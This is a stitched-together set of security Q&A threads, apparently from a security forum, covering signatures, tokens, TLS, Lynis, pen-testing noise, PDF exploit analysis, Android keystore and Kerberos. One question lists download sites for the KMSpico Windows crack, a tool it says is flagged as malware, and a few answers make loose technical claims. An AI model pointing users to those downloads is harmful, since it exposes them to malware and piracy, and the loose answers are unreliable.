In my eyes this is exactly the problem that digital signing was supposed to solve however this is the same situation as if there were no digital signing.

We can also sign the signature and do this as many times as we want however publishing all the private keys brings us to step 1.

What have we exactly solved with digital signing if we cannot achieve software non-repudiation guarantee.

Digital signature can indeed provide non repudiation, provided that the procedure used to sign the certificat:

ensures that the private key was at any moment under exclusive ownership of its recipient
(optionally) ensures that the signed cert was given to the right person

As soon as 1 is established, the certificate authority can attest they actually signed a certificate for the key used to sign, and that the message could only be signed by the owner of the certificate - but she is unknown to that point
If in addition 2 is established, the certificate authority can attest that the private key used to sign the message was owned by M. X . That is an evidence that actually proves that M. X did sign the message or at least is responsable for it if he did not declare that his cert has been compromised before the message was signed.


Best practice for storing auth token client side I'm building a frontend/backend separated system where the user 2FA auths in and gets a JWT back to the client side.

I'm using angular and for now I just store that token in $window.sessionStorage and include it in the header of every request to identify/authorize/authenticate the user.

Is there a more secure store this token on the client side? Right now on logout I delete the key client side and mark it disabled in the  database, but if the user just leaves the browser there's no guarantee that will happen until the token expires (6 hour expire right now).

Any thoughts on this or other threads that already answered it extremely appreciated!

Maybe you could implement idle timeout on the server and if you see no activity for certain amount of time (say 10 mins) mark the session expired.


Authentication versus Authorisation I have referred this link and I know that

Authentication = login + password (who you are)
Authorization = permissions (what you are allowed to do)

My question is:
Suppose A gets the login id and password of B which has higher authority than A, that would compromise authorisation because once A gets falsely authenticated as B, A gets all the access privileges of B.
So what is the whole point of authorisation?
Is it dependent or independent of authentication?

once A gets falsely authenticated as B...

On any minimally secure system, this isn't how it happens. From the system's point of view, User B is authenticating himself, not User A. It was not falsely authenticated, it was using the real login and password. It's simple case of Credential Theft. You could harden the system using any form of 2FA, but the system is working as intended.

It would be falsely authenticated as you said if User A uses his own credentials and somehow ends up with the profile of User B. In this case, the attack could be an Authentication Bypass, or Privilege Escalation, and the system would have to be patched.

  So what is the whole point of authorization?

Separating privileges depending on who you are. If someone can use your credentials, it is essentially you, so authorization still holds.

  It is dependent or independent of authentication?

It is independent (though many authorization systems choose to depend on authentication information). Authentications is about who you are. Authorization is what privileges you have. Single Sign-On systems, for example, are used to enforce identity, and another system have to be used to enforce permissions.


Lynis Test: SSH settings/tools When I run my Lynis I get the following:

[+] Shells
------------------------------------
  - Checking shells from /etc/shells
    Result: found 6 shells (valid shells: 6).
    - Session timeout settings/tools                          [ NONE ]

But I've set the ClientAliveInterval and ClientAliveCountMax values. What am I doing wrong?

These settings you mention are related to SSH. On the shell itself (e.g. bash) you can also set timeout settings.

To see the specifics that Lynis is testing in this case, have a look at the lynis.log.


Importance of Tool-Stealth for Red Team Internal Audit When it comes time for the internal phase of a white box or red-team audit, where you've locked yourself in a mop-closet in an office building of a Fortune 500 company, I would think that the last thing you'd need is Burp Suite attempting to connect to portswiggerDOTcom to check for a new version or noisy traffic generated by a web browser, such as all the "safe-browsing" and "self-repair" clatter...

What do pen-testers do to mitigate this type of noise? Some of the aforementioned is easily enough dealt with, other stuff, like the Burp example can't be filtered with itself (that traffic conveniently can't be trapped by the proxy, and adding the domain to a HOSTS file does nothing).

While it is very useful to be able to grab latest updates etc., you are right that this is not what works in various types of testing. The two most likely are 'stealthy' tests, as you mention, and tests where you do not have a connection outside the network.

The solution is to come with everything you need: all tools and scripts on your testing laptop, or for those tests where you are not allowed to take your own physical kit on site, delivery of your tools to the in-house security team for review and installation onto the test machine.

The list of tools you will want will develop with experience - you'll learn the ones that you typically need for a specific type of test - but I always found that more was better, as if I took a cut down toolset I'd always need one I hadn't brought!

And to be properly quiet on the network you need to configure every tool in stealth mode. Remove 'call-home' functionality. Wind down rate limits where possible. Turn off 'noisy' tests.

If the test allows you to have a smartphone, then using that to check for script updates etc. Is very useful to keep things off the LAN.


How should I deal with adware in chrome on ubuntu? I use chrome (but also have firefox) on ubuntu 14.04 32-bit. Recently I started getting popups from 'softwareupdaterlp.com'. I had the sense to realize it was not legitimate and I didn't click install or anything, but I'm worried it might cause problems on my system.

In an attempt to fix the problem I reset all settings on chrome and restarted my computer. My question is - was that an appropriate reaction? Do I need to go further and install AV software/take additional steps or am I ok?

chrome://extensions/

Type this link to your address bar and press enter. These are the extensions of your Google Chrome Browser.

Search for a malicious extension that could be responsible of these popups.
By clicking the trash icon you can easily remove an extension.

Removing extensions do not harm your browser or computer. For being sure you can remove all extensions one by one.


Do ISP Detect and Block Pen Testing Tools? I one of the earliest books I read on security - The Basics of Hacking and Penetration Testing (978-0124116443); the author emphasized that you cannot use these Penetration Test Tools over the internet as some of the ISPs monitor the use of such tools and will block access to your internet if they feel you are using such tools.

If this is true - this is a gem of an advise. But the reason I am questioning this is because in no other book I read was this even casually mentioned. So my questions are,

Is this advise correct? Will someone have his/her internet connection
blocked for using pentesting tools over the internet (with
authorization from the website owner)?
Are there any workarounds - like running the remote pen test from say
a cloud host?

First of all, there is a difference between performing a penetration test and an automated scan (low hanging fruits) where automated scans generate a lot of traffic.

Then there is a difference between infrastructure and (web) application penetration tests and then it depends on the type of test:

Black Box
Grey Box
White Box

Infrastructure Penetration Tests

For infrastructure penetration tests I can see where a Black Box PT might get you in trouble with your ISP. In my opinion, you should never recommend to this type of test to your clients because you might not get anything out of it.

While with a Grey or White Box approach you can analyse what an attacker could have done if no information was given (e.g. Black Box approach)

Application Penetration Tests

For (web) application penetration tests, this is done manually, which means this should be considered "normal" traffic. If an ISP would block your connection, chances are they're using DPI (Deep Packet Inspection) but this is considered illegal in some countries.

I have performed hundreds of penetration tests from my home internet connection and I have never ever been warned or blocked by my ISP. (Even when performing automated scanning tools such as Nessus and Acunetix)

So all in all, I think penetration tests can be executed without getting blocked, but that's from my own experience.


Telling the difference between firewall block or external problem with Page Cannot be Displayed (IE) In our organization, when users run up against the firewall in Internet Explorer, this is what they see:

The classic IE "Page Cannot Be Displayed".
Of course, this is also what you see when it's the external site having problems.
Is there any way for the user to determine if it's firewall-related or server-related? Anything in the Dev Tools of IE?
I don't mean any specifics of the firewall, just as simple as finding out "This page cannot be displayed because firewall, or not because firewall". Nothing more than that.

There are sites that can help you check if it is a problem with the user connection or the server:
https://isup.me
https://downforeveryoneorjustme.com

Other options would involve connecting to a VPN or proxy and checking site availability through it.

Another possibility might be a corrupted hosts file that can block certain sites or redirect user to a website hosted by an adversary.


Multiple password fields for one login In this hypothetical scenario, there's an input for one username, and there are two separate password fields. A user must have two separate passwords that they must enter before they can login. Would this have any benefit over a single password that's the length of password one and two combined? (I'm not concerned about ease of use for the user here)

I agree with the other answers:

It add no or little entropy compared to just using a longer password (as Steffen Ullrich points out).
If you hash the passwords separately, it makes the hashes easier to crack compared to one hash of a long password (as lengyelg points out).

But I would like to add one point related to user behaviour.

Forcing the user to pick two passwords instead of one will probably make the user pick worse passwords out of pure exhaustion. You will just encourage people to repeat the same password twice with some modification to evade any blocks you put in place to prevent this.

When you factor in the human picking the passwords I think you end up being less secure, not more. It is just annoying without any security benefits at all at best, and directly harmful to security at worst.


How to detect a silent .pdf exploit without opening the file? I have suspicions that a file is using a silent .pdf exploit. How can I confirm them without opening the file?

To examine a malicious PDF you can use:

PDF Stream Dumper

After installing PDF Stream Dumper, load the suspicious PDF file and start looking around. You can see different colors on the right side, where the red color shows headers with JavaScript tags.

The tool includes a number of signatures of known PDF exploits. To scan the file, select Exploits Scan from the menu by pressing.

peepdf

  peepdf is a Python tool to explore PDF files in order to find out if the file can be harmful or not. The aim of this tool is to provide all the necessary components that a security researcher could need in a PDF analysis without using 3 or 4 tools to make all the tasks. With peepdf it's possible to see all the objects in the document showing the suspicious elements, supports all the most used filters and encodings, it can parse different versions of a file, object streams and encrypted files. With the installation of PyV8 and Pylibemu it provides Javascript and shellcode analysis wrappers too. Apart of this it's able to create new PDF files and to modify/obfuscate existent ones.


How to securely send data to a javascript broswer client? I have a client which requires some currently public API endpoints be encrypted and secure (although it's more of a checkbox than anything I worry about someone attacking, or I would not accept the task). I am using https, get and post requests from a JavaScript based phone application to a Rails backend. There is a simple login performed before data is downloaded where an API key could be sent back along with the successful login.

I am wondering if the only step needed here is to add an API key to those get and post API requests (ie a password stored clientside) or if there is some real benefit to digging into OpenSSL encrypting and decrypting, doing a handshake with RSA to get an AES key etc... Am I correct in guessing that https is already doing this in a tried and true method and that hacking it on my own would be at best wasting my time, at worst introducing new vulnerabilities?

Would there be a point in encrypting a password before an https post request, or is it already being encrypted by the jquery post request? Is there a point in encrypting the api endpoints and manually decrypting them clientside with something like webcrypto, or is this already happening behind the scenes in https?

Am I correct in guessing....

yes

  Would there be a point in encrypting a password before an https post request,

No point. It's already encrypted. But you do need to think about what you are going to compare it with serverside to validate it - the stored password should encrypted using a suitable password hash/


Is my SIM card vulnerable to DES cracking? Srlabs have recently published article stating that many SIM cards can be exploited using vulnerability in DES:

  [...] While the option exists to use state-of-the-art AES or the somewhat
  outdated 3DES algorithm for OTA, many (if not most) SIM cards still rely
  on the 70s-era DES cipher. [...]

Apparently it will take some time before carriers take corrective actions
and prepare to exchange outdated SIMs.  However, I would like to know where
I stand as soon as possible.

Can I check if my SIM is vulnerable to this kind of attack without the
carrier's assistance?  If so, how would I go about that?

Though the details are not published yet, the currently known information points at the following: some sensitive operations are protected with some encryption and a MAC, both relying on carrier-specific choices of algorithms and key lengths. However, some carriers apparently rely on DES whose key size is relatively small (56 bits), making key recovery in reach of dedicated groups, even amateurs (with some budget, but the effort is said to be shareable through the use of rainbow tables).

The important word is "carrier-specific" and it is very unlikely that carriers would actually disclose what they are using. The reflex of security by obscurity is well entrenched, especially in times of rumoured crisis.

Generic note: from a cryptographer point of view, there is the tractable and the intractable. This is normally a continuum: larger keys make the attack more and more expensive, and there is an attacker-specific threshold beyond which the attack cost makes it no longer worth the effort. Precomputed tables (e.g. rainbow tables), when applicable, can transform the "tractable" into "cheap (on the long run)", which implies a huge gap between the two worlds: there is now the "unbreakable" vs "everybody can do it".

However, it is possible to design algorithms which are tractable (attacks can be made to work) but cannot be optimized with precomputed tables. Typically, password hashing with salts falls in that category. Though a reasonable fix for the SIM card attacks would be to switch to a strong algorithm (even 3DES would do the job), it is possible that carriers implement short-term solutions involving some randomization with public values -- making their SIM still potentially attackable, but with a high cost per attacked SIM (a 256 exhaustive search, while doable, is still expensive; try it on your PC !).

On performance: a rainbow table is about exploring a space of N values, but storing only N/t of them where t is the "chain length", chosen at table construction. When using the table, you need to perform t lookups (and there is a per-attack t2 cost). A mechanical hard disk can handle about 100 lookups per second. We are talking about a 2-minute attack, hence 120 seconds, and the attacker might have brought, say, 10 disks to the dance. This allows for a t equal to 120000 or so -- let's say 131072 (217) to make computations easier. With N = 256, the attacker still needs to store 239 elements, with a cost of, say, 10 bytes per element: we are talking about 5 terabytes or so, which is cheap by today's standards. The CPU cost is then 234 encryptions upon attack, which is probably achievable in software on a couple multicore PC (with some nifty optimizations) within the 120 seconds time frame.

Thus, the announced figures are plausible, with a small budget. The initial table building, though, would take some more muscle (months with a rented cluster); existing rainbow tables tend to concentrate on password hashing functions, not raw encryption. Rainbow tables on generic DES must exist somewhere (it is the kind of computing feat that Secret Services around the world would be proud of), but maybe not easily obtained by amateurs.


Is this security scheme using passwords, short-lived access JWTs, and long-lived refresh tokens a good way to secure a REST API? I'm trying to secure a REST API that I'm using as a backend for a single-page application. The API provides access to read/create/modify/delete protected resources, based on a set of permissions managed by an administrator. What I'm thinking is the following:

All connections must be over HTTPS; plain HTTP requests will be redirected to HTTPS.
Users have a username and password, which they create.
A client submits a username/password to a /login route; if it's a valid password for that user, the server will return a short-lived access token and a long-lived refresh token.

The access token will be a signed JWT that identifies the user and has an expiration time.
The refresh token will be a GUID corresponding to a row in a database table; this row will store the user ID

When accessing protected routes (everything but /login), an access token will be required. The server will verify the signature, and if valid, will check the expiration time. If the token is not expired, the user ID will be made available to server-side code for authorization logic.
If the access token is expired, the client will automatically submit the refresh token to a /refresh endpoint for requesting a new access token. The server will check the database; if a corresponding row still exists, a new access token will be returned to the client.

Does this scheme sound secure?

Okay! Caveat emptor, first off: I’m a rando on the internet, don’t make decisions off this, YMMV, etc.

With that out of the way this seems pretty much fine to me. Nothing seems out of the ordinary here. The main thing I’d check is securing the secondary endpoints, like /refresh. Make sure that one can’t be fiddled with, for instance. And make sure you test all of this thoroughly in your test suite.


What can my device administrator see when I am connected to a private WiFi? I use a device that has access to things like incognito mode. However, it warns me that the device administrator can see what I do even when in incognito. I know that this is true when connected to an administrated WiFi, but, when I’m home and on a private WiFi, can the administrator still see what I do? (No forced VPN on my device)
Edit: Assume I am in incognito mode where the history is not saved

The device administrator, or whoever owns and provides the "private" WiFi, can see, and optionally log, the following:

MAC address of the device you're connecting to the WiFi from. For example, if you're accessing the hotspot with a Samsung mobile device, the administrator would be able to see it in the first two characters of your MAC address, which often is displayed outright on the WiFi management software
IP address, decided by the ISP the device administrator is subscribed to
Full website URLs you are visiting if those websites are not secured by SSL
Second-level domains (with their TLD) you visit (as opposed to full URL and webpage file/folders) in the case of websites secured by SSL (lock symbol). For example, they can know you are on facebook.com for every page you visit there, but not facebook.com/janetjackson/12345.html

How the above changes when incognito mode is activated is really specific and different between whichever devices and websites that offer the incognito mode. At best, incognito mode reduces user tracking which does not always mean hiding your IP address, but merely throwing less cookies at you so that your trail and online movements are followed less, which is not much of an improvement.
Incognito mode helps with privacy, but not anonymity. Privacy and anonymity are two completely different things. To have a layer of protection against what your administrator sees, consider using the Tor web browser if not VPN.


Best practice for connecting publicly available server to internal LDAP/Active Directory? We have a public website.  The site also contains the intranet (although none of the data on the intranet pages are terribly secret).  Users have to login to the website using their Active Directory credentials to see intranet pages.

The web server is in the DMZ, but the port for LDAPS is open through the firewall from the website to the domain controller.

(The above diagram is simplified.  There is actually another firewall between the Internet and the website, but I digress.)

However, I don't feel terribly comfortable with this setup.  If a party were to compromise the web server, the party would have some limited ability to see the domain controller through the LDAPS port.  In addition, I'm not sure there is a good way to prevent brute-force attacks in this scenario.

Is there a safer setup to accomplish this same goal?

I don't have anything to do with it directly, but we're using Azure AD for Office 365, and it's synced to our on-premises AD.  Would it be safer to use Azure AD for authentication?  My understanding is that SSO through Azure costs additional dollars, though.

It does not appear to me that this produces a specifically dangerous attack surface - Provided your AD accounts are sufficiently secure that their passwords can't be brute forced, and that your LDAP server is properly secured and patched. While it's true that a compromise of the web server would open your LDAP server to attacks, there isn't necessarily much you can do to mitigate this.

I considered that if your web server gets compromised, it might be useful to have a proxy between your web server and the LDAP server, but that gives you one more server to update and patch, otherwise that will just be compromised and used to attack the LDAP server instead. That is, of course, not a certain thing, and requires another series of attacks to get into the same position as the situation without the web server, but it can provide some extra defense in depth.


When will the webbrowsers have TLS 1.2 support? https://en.wikipedia.org/wiki/Transport_Layer_Security#TLS_1.2_.28SSL_3.3.29

and

http://www.theregister.co.uk/2011/09/19/beast_exploits_paypal_ssl/

when will the webbrowsers have TLS 1.2 support??

BEAST was in 2011 September!!

Lance - this is not really an on-topic question for here, as it comes down to "whenever the browser developers implement it" so this may get closed by the community.
In saying that, a quick google shows that some already have it enabled. the ISC Diary had this in September:

The TLS support for browsers right now is:

IE9 TLS 1.0, 1.1, 1.2 all supported via Schannel
IE8 TLS 1.0 supported by default, 1.1 and 1.2 can be configured
Opera - 10.x supports TLS 1.0, 1.1, 1.2

I don't count older versions of any of these browsers, since people really
should have auto-update on. if they don't they've probably got bigger
problems ( http://isc.sans.edu/diary.html?storyid=11527 )

Mozilla/Firefox - TLS 1.0 only
Chrome - TLS 1.0 only (though an update is rumoured)
Safari - TLS 1.0
Cell phones - various support levels (webkit has tls 1.2 since Nov 2010, but for
individual phone browser implementations your mileage may vary)


How big is the threat of Desktop Linux malware? Most malware one hears about on the news seems to fit into one of two categories:

Windows viruses, trojans, rootkits etc.
Linux server "worms", backdoors and similar

How big is the threat of classical Windows Desktop-style malware (i.e. viruses, keyloggers, trojans) for a Linux Desktop user sitting behind a router making direct attacks on the machine unfeasible, meaning that the likely avenues of infection would be browser exploits, email attachments etc.?

Has such malware been encountered "in the wild" on a significant scale? Do malware distributors target Desktop Linux users? How much protection do Linux' built-in security features provide from an escalation of the attack through all levels of the system?

First, let's dispel any thought that Linux is somehow magically immune: classic file infectors, trojan horses and rootkits all existed on Unix well before Windows became prominent. I believe there's a number of reasons why classical Windows Desktop-style malware will not get a foothold in the population of Linux desktops. I don't believe any single reason is enough, but taken all together, they add up to something like "herd immunity".

Linux has a tradition of separating "user" and "administrator" roles. It's not mandatory, and it's not impervious, but it's there.
Linux has more sensible file permissions, read/write/execute, and the user/group/other separation, along with setuid. This also is just a small thing, and if you read Experiences with Viruses on Unix Systems by Tom Duff, you see that it doesn't work at all in interactive, 80s-style multi-user systems.
Linux has a very fractured hardware and software base. I run ancient 2003-2006 era hardware at home.  It still works very well. But it means that malware writers can't count on anything as far as hardware goes. Same for software: there's almost always between 3 and 10 candidates for any particular niche. Email clients abound, and each has a loyal user base. If that's not enough variation, every distro compiles their own, so no consistent "build" is present on a critical mass of desktops. Also, versions of everything, including the kernel, change far faster than Microsoft changes things. For any particular candidate software in a given niche, many versions exist in the wild. It's also not that uncommon to compile whatever yourself, so you've essentially got an uninfectable version of whatever utility.
Linux has a better tradition of separating data from executable files. /usr/share contains documentation, /bin and /usr/bin contain executables, /etc contains configuration. Everything gets different ownership and permissions. Again, like file permissions, not mandatory and not solid, but it exists.
Linux does not have the array of special cases that Windows has. From multiple-rooted file systems ('C:' vs 'D:') to specially, magic files names that appear in any directory ('AUX', 'CON', etc) to "long file name support", Windows requires a good deal more care when programming. These special cases also provide niches to hide files, or get things to execute.
Magic file name extensions. This one has always boggled my mind - who thought it was a good idea to make a file executable by part of its name? Also, who thought that hiding the extension from a user is a good idea?  How many viruses/phishing attacks came about because you can execute a file named "Threesome.jpg.exe", but the file browser hides the ".exe" part? Yes, another small thing, and yes, you can configure it away, but nobody does. For a long time, Microsoft didn't enumerate what extensions made a file executable, so every once in a while, a new kind of file-infector would crop up.
Linux has far better documentation. Yes, plenty of "Head First", "For Dummies" and somewhat more advanced titles exist for Windows. But you've always got the source for Linux. Anyone can verify that some particular documentation is accurate. Nothing gets handed down from On High. I'm thinking of officially-sanctioned things like the Inside Windows NT series, which seems like it's gone through 3 authors and 6 or 7 editions. All that fluff, yet nobody has officially documented the NT native API. Just so you don't think that I'm hating on Microsoft, Oracle has the same sort of problem, as did DEC in the past.

Some of these are social (traditions), some are at least a little technical (file extensions) but have a social component. There may be more, but I think any two or three of the differences above make Linux users into a less vulnerable population.


Master offline key, shared encryption/decryption key, unique signing keys? I've read quite a few different articles on how to setup PGP keys with an offline master key. I own multiple YubiKey NEO hardware smart cards which I intend on using for PGP and as an SSH key. One of the hardware keys will be my daily driver, the others kept in secure locations elsewhere in case of a loss of the key. The master key, as recommended elsewhere will exist offline in a secure location, as I'll only need to access it when I need to revoke subkeys.

I see that there are three types of keys that I'll need to maintain:

Offline master key.

Only one.
Responsible for signing and revoking subkeys.
Exists completely offline in a secure location.

Shared encryption key.

Only one.
Responsible for encryption and decryption.
Exists simultaneously on all hardware smart cards and offline in a secure location.

Shared authentication key.

Only one.
Responsible for SSH authentication.
Exists simultaneously on all hardware smart cards and offline in a secure location.

Signing keys.

One per hardware smartcard.
Responsible for signing things.
Only exists on a single hardware smartcard, no need for an offline backup.

Is this the general idea behind having subkeys? As I'll primarily be using my smart cards for SSH authentication first, and PGP encryption/decryption second, does this setup make sense?

I've not heard of people using a shared encryption key, is this possible? For each card, I suppose I'd do something where I'd do gpg --card-edit and import the encryption/decryption keypair and then generate and import the new signing keypair, signing it with the offline master key. Is there a guide on how to do this somewhere?

I'm new to subkeys and I'm still trying to learn the ropes of what's possible and what would be "best" for security.

Your approach seems reasonable; I'd add that the master key is also used for managing user IDs (which makes it important for maintaining trust in the web of trust).

The idea behind having a single encryption key is the fact OpenPGP lacks a way to couple a given subkey to a device or user ID. For signing subkeys, on the other hand, this does not matter, an available key is used instead.

A shared encryption key is well possible to achieve also with OpenPGP smartcards (a Yubikey in the end simply acts as one) using the keytocard command in the --edit-key (not --card-edit) menu. The FSFE wiki page on OpenPGP smartcards hosts an in-depth tutorial, covering pretty much all possible scenarios of using OpenPGP smartcards (the FSFE membership card is an OpenPGP smartcard).


How much protection is really offered by TLS_FALLBACK_SCSV? I'm researching the extent to which TLS_FALLBACK_SCSV protects against Cipher Suite Downgrade attacks.  I understand that the correct way to protect is to remove support for the insecure cipher suites.  This is why I'm a little confused by results from ssllabs that give a nice green notice even though the server in question gets an F :

  This server supports TLS_FALLBACK_SCSV to prevent protocol downgrade attacks.

This seems misleading to me.  My understanding is that if the client (usually the browser, but also WEB-DAV, SVN, SQL clients, and others) doesn't support it, then the  TLS_FALLBACK_SCSV flag does nothing.  From reading this about IE, It seems like instead of implementing SCSV, some browsers just opted to remove SSLv3 support.

Also, TLS_FALLBACK_SCSV protects against some downgrade attacks but not all, apparently.

I'm told that my browsers are all protected from POODLE type downgrades but not against LogJam type downgrades.

So, is that reassuring Green Bar on ssllabs misleading?

I'm researching the extent to which TLS_FALLBACK_SCSV protects against Cipher Suite Downgrade attacks. I understand that the correct way to protect is to remove support for the insecure cipher suites.

TLS_FALLBACK_SCSV is about protocol downgrades and not about cipher suites downgrades. Don't confuse this with Logjam where the the cipher suite gets downgraded. Protocol downgrades can be fixed if you disable the protocol on the server but then you might get problems with older clients which do not support the newer protocol. That's why TLS_FALLBACK_SCSV was introduced to protect the newer browsers supporting this flag while maintaining compatibility with older browsers, even though they don't get the fallback protection.

  My understanding is that if the client (usually the browser, but also WEB-DAV, SVN, SQL clients, and others) doesn't support it, then the TLS_FALLBACK_SCSV flag does nothing.

You are right that TLS_FALLBACK_SCSV is only relevant with clients which do support this option, which includes at least Chrome and Firefox.  But to make this option useful it needs to supported by both client and server: The client sets the flag if it downgraded the protocol because the better version did not work (i.e. use TLS 1.0 instead of TLS 1.2) and the server must complain if the client set this flag even though the server would have support the better protocol version.

  So, is that reassuring Green Bar on ssllabs misleading?

This bar should not be interpreted as "safe against all kind of SSL protocol downgrades" but "safe against all SSL protocol downgrades which can be detected with TLS_FALLBACK_SCSV". And in no way it should be read as "safe against all downgrades" because it explicitly mentions protocol downgrades (and not cipher downgrades like Logjam).

  It seems like instead of implementing SCSV, some browsers just opted to remove SSLv3 support.

Both Chrome and Firefox use TLS_FALLBACK_SCSV to indicate SSL downgrade and also have SSLv3 disabled by default. Since there were reports of some TLS stacks being affected by POODLE even with TLSv1 and since there might be some other protocol downgrade attacks in the future unrelated to SSLv3 and since clients might have the need to re-enable SSLv3 for compatibility with some sites it is good to have this option anyway.

  ...a nice green notice even though the server in question gets an F

It should be clearly indicated why you get an F. You can do a lot of things right (like supporting TLS_FALLBACK_SCSV) and still get an F because you are using a self-signed certificate which can not be verified by the browsers.

And SSLLabs does not indicate a 100% secure site. Even with a grade of A+ it only indicates that you used the state of the art settings for setting up SSL/TLS but in a year these setting might no longer be state of the art because the state of the art changed while your site did not. This happened with deprecation of SHA-1, RC4 etc.


Is hacking email with simjacking a concern if you don't have 2FA for the email? I've been doing some reading on simjacking lately, mainly around how one may be compromised.  One common tidbit I read is that you can access your email and your other financial services if you have 2FA for those services.  E.g.: here is one quote:

Once the swap is complete, messages containing codes for those two-factor authentication systems we now all have can be intercepted, and fraudsters can hop into your email, social media or mobile banking accounts.

(Source: https://www.vice.com/en/article/3kx4ej/sim-jacking-mobile-phone-fraud)
I completely understand social media and mobile banking accounts could be compromised: if my mobile banking and/or social media accounts are set up to send the security code to my mobile device, and you simjack that device, then the fraudster can receive the code and log into your accounts.
However, assuming your email does not use your mobile number as recipient for 2FA (e.g. if you use TOTP, or if you have a back-up email address to send codes to), does simjacking actually give access to email?  I can't seem to connect those two dots -- and I am not sure if I am missing something.
Thank you.

If an SMS alone was sufficient for login, that would make it 1FA instead of a component of 2FA/MFA, wouldn't it? There's probably a password, too, protecting the account. In this case, an attacker must both steal the password and simjack the mobile subscription for the SMS.
However, a real problem is that some services use SMS based authentication both for 2FA and password recovery. This is what makes simjacking a powerful weapon. If both factors are controlled by the possession of a mobile number, I wouldn't count it as 2FA (two-factor authentication), but merely a two-phase authentication.
On the other hand, if you use Time-based One-time Password (TOTP), instead, and if you can't recover both your password and your TOTP using your mobile subscription, you are pretty immune to simjacking.


Secure way to hold private keys in the Android app What would be the most appropriate way to store private keys for barcode signing in the Android app?
Probably most experts here would say - just don't do it, cause it's insecure...
But I would like to understand the level of "insecurity" and risks to proposed solutions.
P.S. Commodity Smartphones to assume.
P.S. we can exchange keys not too often. App Backend API can be designed as needed. But permanent internet connection and variants of signing on the server-side is not possible.

All android 7+ devices are equipped with Trusted Execution Environment (TEE) as a mandatory requirement for Google apps licensing. It's a hardware backed keystore which provides isolated storage and data processing for cryptographic blobs. In Qualcomm Snapdragon and Samsung Exynos SoCs, TEE is based on ARM Trustzone. Some devices like in Pixel and iPhone have their own discrete TEE (Google's Titan M and Apple's T2 chip) which is called strongbox. Discrete TEEs are more isolated than ARM Trustzone and independent of the SoC used.
You can use android keystore provider APIs to

generate private keys

generate secret keys

sign and verify data

import encrypted keys

authenticate user for key use

Verify hardware-backed key pairs with Key Attestation

Every key stored within the keystore can have the following parameters set:

alias - used to identify the key.
key size (API 23).
purpose – encrypt/decrypt (API 23).
encryption mode, algorithm and padding (API 23).
should the key be authenticated with the keystore before usage? (API 23).
the time duration for which the key can be used after a successful authentication (API 23).
should a key be invalidated on new fingerprint enrolment? (API 24)
should a keystore require the screen to be unlocked before performing cryptographic operations? (API 28)
should a key be protected by a StrongBox hardware security module? (API 28)

You can also use it to encrypt authentication tokens for login, store passwords and encrypt the key which encrypts your app's large sensitive data.

"should a key be protected by a StrongBox hardware security module? (API 28)" seem to be very important in terms of overal security level.

For android 9+, apps can set preference to store keys in strongbox by calling setIsStrongBoxBacked(true). If it throws StrongBoxUnavailableException then apps should fallback to hardware backed keystore. Strongbox is immune from critical side channel vulnerabilities in SoC's CPU which may affect hardware backed keystore. The security of hardware backed keystore falls on the chipmaker of SoC: Gaping 'hole' in Qualcomm’s Secure World mobile vault leaked sensitive data.
Hardware Security Best Practices recommend StrongBox Keymaster. The module contains the following:

Its own CPU
Secure storage
A true random-number generator.
Additional mechanisms to resist package tampering and unauthorized sideloading of apps.

Android keystore system
How Secure is your Android Keystore Authentication? (Outdated, published before android 10 release)


Lynis Indicates Compilers On a droplet, when Lynis reports that compilers have been found, I've been unable to determine which compilers it means exactly. I'd like to remove these. How can I?

There is another thread, but the "how to find which compilers it's talking about" isn't mentioned.

Compiler checks are performed in the test HRDN-7220 which is defined in the include/tests_hardening file.

The tests itself are performed by the include/binaries file and the variable COMPILER_INSTALLED is set when the following files are found within the $PATH variable:

as
g++
gcc

So in short, when Lynis reports that compilers are installed, you have to check the above three files within the PATH directories.


How trustworthy is KMSpico? KMSpico is a very common tool to crack Windows. It is considered malware by many malware/virus detection programs. Even so, it is very popular as far as I've seen.

Download links I found:

https://kmspico10.com/
https://official-kmspico.com/
https://www.kmspico2k.com/
https://kmspico.co/

With so many "official websites" and many more possible download sources, it's hard to know which download(s) can be trusted.

I am aware that ALL such software are dangerous (probably also illegal if it cracks software). I'm still going to try and use it on Windows 10 because (1) I don't want to spend money on Windows and (2) every IT store (including those legit and large) in my area installs cracked Windows by default.

It's not verifiable.

At least, without putting in effort to reverse-engineer the software.

As it turns out, "How trustworthy is [this software]?" is in general an incredibly tough question to answer. The problem is that it's hard to verify, especially if no source-code is present. Even if source code were present, how can you know that the pre-built version would correspond to that source code?

In the "best case" scenario, the program is benign and does what it's supposed to do (which is still illegal and may get you into trouble).

In the most likely case, the program will do what it's advertised to do, plus a number of other things. Which things? That depends on the author.

Consider the following: Would you let a random stranger have admin access to your computer if they gave you 139 USD for it?


How to implement challenge-response with keyed hash algorithm when 2 people share same key? Suppose that 2 people have a keyed hash algorithm (that is, a MAC) with a key that they both know. How could they implement challenge-response using their keyed hash algorithm? This confuses me...

It's pretty straightforward.

Let's say, this transaction is happening between Alice (an entity wishing to be verified) and Bob (an entity verifying Alice's identity). They both are in possession of a common secret key and are aware of the algorithm to use for authentication.

Step 1: Bob sends Alice a random string, the challenge. The challenge should be randonly generated for every challenge-response transaction.

Step 2: Alice generates the HMAC of the challenge by running HMAC(key,challenge) and sends the generated the HMAC to Bob, the response.

Step 3: Bob independently generates an HMAC for the challenge by running HMAC(key,challenge). The Alice's response matches Bob's generated HMAC, that proves that Alice is in possession of the right key and hence can be authenticated.


Cannot contact my realm for credentials I have created a KERBEROS.TEST realm on my Ubuntu 14.10 virtual machine and after addprinc root/admin also I added my client machine as principal.

I checked kinit and with sudo klist command I received the ticket on my kerberos server, but from my client machine, I receive this message: Cannot contact any realm 'KERBEROS.TEST' while getting initial credentials

What I'm doing wrong?

"Cannot contact any realm 'KERBEROS.TEST' while getting initial credentials"

Your client needs to contact a KDC for the KERBEROS.TEST relam.  It was either unable to find a KDC, or unable to contact a KDC.

To find what you're doing wrong, you'll need to investigate and eliminate various scenarios.

Do you have a config file (/etc/krb5.conf) that names the realm?
Can your client find the domain name of the KDC ?

The client could find KDCs in the [realms] section of the krb5.conf
The client could find KDCs through DNS using SRV records.

Can the client connect to the KDC ?

If your client knows the realm, the problem is probably in step #2 or step #3.

If you are using MIT Kerberos, here are links to documentation that may help:

Realm configuration decisions including naming and finding KDCs.
MIT Kerberos clients support a KRB5_TRACE variable which could let you get more details about the internal details:

KRB5_TRACE=/tmp/tracefile.txt kinit, and then inspect the tracefile.


Is the order of cipher suites related to the client's preferences ? I am wondering if the order in which the cipher suites appear (from top to bottom) in the ClientHello message, and the client preference are relevant. So for example in the picture I have attached, is TLS_RSA_WITH_RC4_128_MD5 the most preferred suite because it is at the top?

Thank you in advance

